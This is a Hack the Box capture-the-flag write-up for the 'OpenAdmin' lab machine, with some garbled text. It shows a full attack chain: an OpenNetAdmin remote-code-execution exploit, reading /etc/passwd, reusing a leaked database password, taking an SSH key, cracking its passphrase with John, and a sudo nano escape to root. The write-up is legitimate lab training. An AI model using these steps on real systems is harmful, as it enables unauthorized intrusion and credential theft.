OPENADMIN

Hack the Box writeup



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Scope

Target IP: 10.10.10.171

Ports: TCP + UDP 1-65535

OS: Linux

Difficulty: Easy

Release: Jan 04, 2020

Enumeration

gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

nmap -sC -sV -oA initial 10.10.10.171

Initial Findings

NMAP



GoBuster

<pre>0×6b@kali:/home/0×6 -small.txt</pre>	<pre>b/htb\$ gobuster dir -u http://10.10.10.171 -w /usr/share/wordlists/dirbuster/directory-list-2.3</pre>								
Gobuster v3.0.1									
by 01 Pagyas (aThe)	ologial) & Christian Mehlmauer (a FireFart)								
[.] 11-1.									
[+] Urt:	10,10,10,10,1/1								
[+] Threads:	10								
[+] Wordlist:	/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt								
<pre>[+] Status codes:</pre>	200,204,301,302,307,401,403								
[+] User Agent:	gobuster/3.0.1								
<pre>[+] Timeout:</pre>	10s								
2020/03/25 09:38:43 Starting gobuster									
/music (Status: 301)									
/artwork (Status: 301)									
/sierra (Status: 30	1)								
2020/03/25 09:58:51 Finished									

Foothold

Starting with the web server, if we poke around a bit we see a login option in the music directory



Following this leads us to a login page /ona



This web server is really nice and tells that it's outdated and is on version 18.1.1, following the download link lets us know that this is OpenNetAdmin, let's look for a vulnerability.

searchsploit opennetadmin

Command Injection and RCE! Let's see what these looks like.



cp /usr/share/exploitdb/exploits/php/webapps/47772.rb ona_ci.rb

cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ona_rce.sh



The RCE looks pretty straight forward so let's give that a shot. First, we need edit the script to add the url of the login page, I also added CMD before the \$ so I know I am connected.



Next, we make the script runnable and try it out

0×6b@kali:/home/0×6b/htb/openAdmin\$ chmod +x ona_rce.sh 0×6b@kali:/home/0×6b/htb/openAdmin\$./ona_rce.sh ./ona_rce.sh: line 8: \$'\r': command not found ./ona_rce.sh: line 16: \$'\r': command not found ./ona_rce.sh: line 18: \$'\r': command not found ./ona_rce.sh: line 23: syntax error near unexpected token `done' ./ona_rce.sh: line 23: `done' 0×6b@kali:/home/0×6b/htb/openAdmin\$

If you get this, it's because you have some weird windows formatting screwing up the script. Nothing we can't fix rather quickly.

```
sed -i -e 's/\r$//' ona_rce.sh
```



And we have ourselves out foothold!

User

cat /etc/passwd

ls -la /home/

jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash										
<pre>mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false</pre>										
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash										
CMD \$ ls -la /home										
total 16										
drwxr-xr-x	- 4	root	root	4096	Nov	22	18:00			
drwxr-xr-x	24	root	root	4096	Nov	21	13:41			
drwxr-x	5	jimmy	jimmy	4096	Nov	22	23:15	jimmy		
drwxr-x	6	joanna	joanna	4096	Nov	28	09:37	joanna		
CMD \$										

Here we see two users with home folders, jimmy and Joanna

Poking around in the ona folder, we find a database settings file: local/config/database_settings.inc.php

cat local/config/database_settings.inc.php

```
CMD $ cat local/config/database_settings.inc.php
<?php
$ona_contexts=array (
  'DEFAULT' ⇒
  array (
    'databases' ⇒
    array (
      0 ⇒
      array (
         'db_type' ⇒ 'mysqli',
         'db_host' ⇒ 'localhost',
         'db_login' \Rightarrow 'ona_sys',
         'db_passwd' ⇒ 'n1nj4W4rri0R!',
         'db_database' ⇒ 'ona_default',
         db_debug' \Rightarrow false,
      ),
    ),
     'description' ⇒ 'Default data context',
     'context_color' \Rightarrow '#D3DBFF',
  ),
);
```

We have a password here... I wonder if one of the admins reuse the password?

```
Li:/home/0×6b/htb/openAdmin$ ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
 * Documentation: https://help.ubuntu.com
                  https://landscape.canonical.com
* Management:
 * Support:
                 https://ubuntu.com/advantage
 System information as of Wed Mar 25 14:34:37 UTC 2020
                                                        116
  System load: 1.01
                                 Processes:
 Usage of /:
               49.9% of 7.81GB
                                 Users logged in:
                                                        Ø
 Memory usage: 29%
                                 IP address for ens160: 10.10.10.171
 Swap usage:
               0%
```

Looks like Jimmy does!

Now we get to do some more recon...

IN /var/www/ there is a folder called internal... that seems interesting.

Inside the internal folder there's a file **main.php** if we look here, it looks like it calls joanna's ssh key... not sure why that's a thing but we'll take it!

```
jimmy@openadmin:/var/www/internal$ ls
index.php logout.php main.php
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "$output";
?>
<html>
<html>
<html>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
jimmy@openadmin:/var/www/internal$
```

This next part took me way longer than it should have, probably because of my lack of a full port scan.

I knew the pivot had to deal with this internal/main.php file, so I had to figure out how to get there.

I ended up looking at /etc/apache2/sites-enabled/internal.conf

This showed me that the internal site was being used on port 52846

From Jimmy's session, I curled localhost:52846/main.php

This gives us an ssh key!

I copied this key over to my host, changed the permissions (chmod 600), and tried to connect to joanna's account.



Password protected.

Alright, no problem! We will use ssh2john to convert the key into something John knows and then try to crack the password.

/usr/share/john/ssh2john.py id_rsa > id_rsa.hash



john id_rsa.hash --wordlist="/usr/share/wordlists/rockyou.txt" --

pot=OpenAdmin (I added the --pot here because john seems to give me issues)

b=Gbnkali:/home/0×6b/htb/openAdmin\$ john id_rsa.hash --wordlist="/usr/share/wordlists/rockyou.txt" --pot=OpenAdmin Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status bloodninjas (id_rsa) 1g 0:00:00:08 DONE (2020-03-25 11:12) 0.1118g/s 1604Kp/s 1604KC/s 1604KC/sa6_123..*7¡Vamos!

Alright, bloodninjas... let's try it...

```
0×6b@kmli:/home/0×6b/htb/openAdmin
Enter passphrase for key 'id_rsa':
                                  Admin$ ssh joanna@10.10.10.171 -i id_rsa
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
 * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
  System information as of Wed Mar 25 15:18:23 UTC 2020
  System load: 1.08
Usage of /: 49.9% of 7.81GB
                                                                   121
                                        Processes:
                                       Users logged in:
   Memory usage: 29%
                                        IP address for ens160: 10.10.10.171
  Swap usage:
                  0%
 * Canonical Livepatch is available for installation.
      Reduce system reboots and improve kernel security. Activate at:
      https://ubuntu.com/livepatch
41 packages can be updated.
12 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy setti
ngs
Last login: Wed Mar 25 02:27:32 2020 from 10.10.14.27
joanna@openadmin:~$ ls
user.txt
 joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f
```

And it worked, user key done!

Root

The first thing I like to do is run sudo -I, see what, if any permissions we have on a box.



This looks like it is going to be very easy... nano has an escape we can use to run a shell, if this works, we will have a root shell in no time.

REF: https://gtfobins.github.io/gtfobins/nano/

sudo /bin/nano /opt/priv

ctrl+r ctrl+x

reset; sh 1>&0 2>&0

clear

whoami
root
cat /root/root.txt
2f907ed450b361b2c2bf4e8795d5b561
#

And there we have it!

